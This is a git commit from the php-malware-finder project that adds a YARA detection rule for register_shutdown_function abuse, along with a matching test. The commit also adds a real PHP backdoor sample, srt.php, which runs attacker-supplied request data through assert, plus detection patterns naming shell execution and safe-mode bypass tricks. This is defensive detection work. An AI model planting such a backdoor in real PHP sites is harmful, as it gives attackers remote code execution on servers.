summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorjvoisin2016-12-09 15:39:05 +0100
committerjvoisin2016-12-09 15:39:05 +0100
commit51cc889e53689d1e389539fe704585057d4839d8 (patch)
tree12c8e4d980d87884075421ad61a123aff49fdaaa
parente78c18c6ca592c1891708622fabb148828c33f2d (diff)
Add a detection for register_shutdown_function
Close #41
-rw-r--r--php-malware-finder/php.yar1
-rw-r--r--php-malware-finder/samples/real/srt.php5
-rwxr-xr-xphp-malware-finder/tests.sh1
3 files changed, 7 insertions, 0 deletions
diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar
index 8a08308..c3e115a 100644
--- a/php-malware-finder/php.yar
+++ b/php-malware-finder/php.yar
@@ -91,6 +91,7 @@ rule DodgyPhp
91 $include = /include\s*\(\s*[^\.]+\.(png|jpg|gif|bmp)/ // Clever includes 91 $include = /include\s*\(\s*[^\.]+\.(png|jpg|gif|bmp)/ // Clever includes
92 $ini_get = /ini_(get|set|restore)\s*\(\s*['"](safe_mode|open_basedir|disable_function|safe_mode_exec_dir|safe_mode_include_dir|register_globals|allow_url_include)/ nocase 92 $ini_get = /ini_(get|set|restore)\s*\(\s*['"](safe_mode|open_basedir|disable_function|safe_mode_exec_dir|safe_mode_include_dir|register_globals|allow_url_include)/ nocase
93 $pr = /(preg_replace(_callback)?|mb_ereg_replace|preg_filter)\s*\(.+(\/|\\x2f)(e|\\x65)['"]/ nocase // http://php.net/manual/en/function.preg-replace.php 93 $pr = /(preg_replace(_callback)?|mb_ereg_replace|preg_filter)\s*\(.+(\/|\\x2f)(e|\\x65)['"]/ nocase // http://php.net/manual/en/function.preg-replace.php
94 $register_function = /register_[a-z]+_function\s*\(\s*['"]\s*(eval|assert|passthru|exec|include|system|shell_execute|`)/ // https://github.com/nbs-system/php-malware-finder/issues/41
94 $safemode_bypass = /\x00\/\.\.\/|LD_PRELOAD/ 95 $safemode_bypass = /\x00\/\.\.\/|LD_PRELOAD/
95 $shellshock = /\(\)\s*{\s*:\s*;\s*}\s*;/ 96 $shellshock = /\(\)\s*{\s*:\s*;\s*}\s*;/
96 $udp_dos = /fsockopen\s*\(\s*['"]udp:\/\// nocase 97 $udp_dos = /fsockopen\s*\(\s*['"]udp:\/\// nocase
diff --git a/php-malware-finder/samples/real/srt.php b/php-malware-finder/samples/real/srt.php
new file mode 100644
index 0000000..ef02af2
--- /dev/null
+++ b/php-malware-finder/samples/real/srt.php
@@ -0,0 +1,5 @@
1<?php
2ob_start(function ($c,$d){register_shutdown_function('assert',$c);});
3echo $_REQUEST['pass'];
4ob_end_flush();
5?>
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh
index d362a14..a261199 100755
--- a/php-malware-finder/tests.sh
+++ b/php-malware-finder/tests.sh
@@ -92,6 +92,7 @@ run_test real/sucuri_2014_04.php '0x67:$execution3:'
92run_test real/novahot.php 'DodgyStrings' 92run_test real/novahot.php 'DodgyStrings'
93run_test real/guidtz.php '0x12d8:$non_printables:' 93run_test real/guidtz.php '0x12d8:$non_printables:'
94run_test real/ice.php 'double_var' 94run_test real/ice.php 'double_var'
95run_test real/srt.php '$register_function'
95 96
96# Asp files 97# Asp files
97run_test_asp classic/cmdasp.asp 'DodgyStrings' 98run_test_asp classic/cmdasp.asp 'DodgyStrings'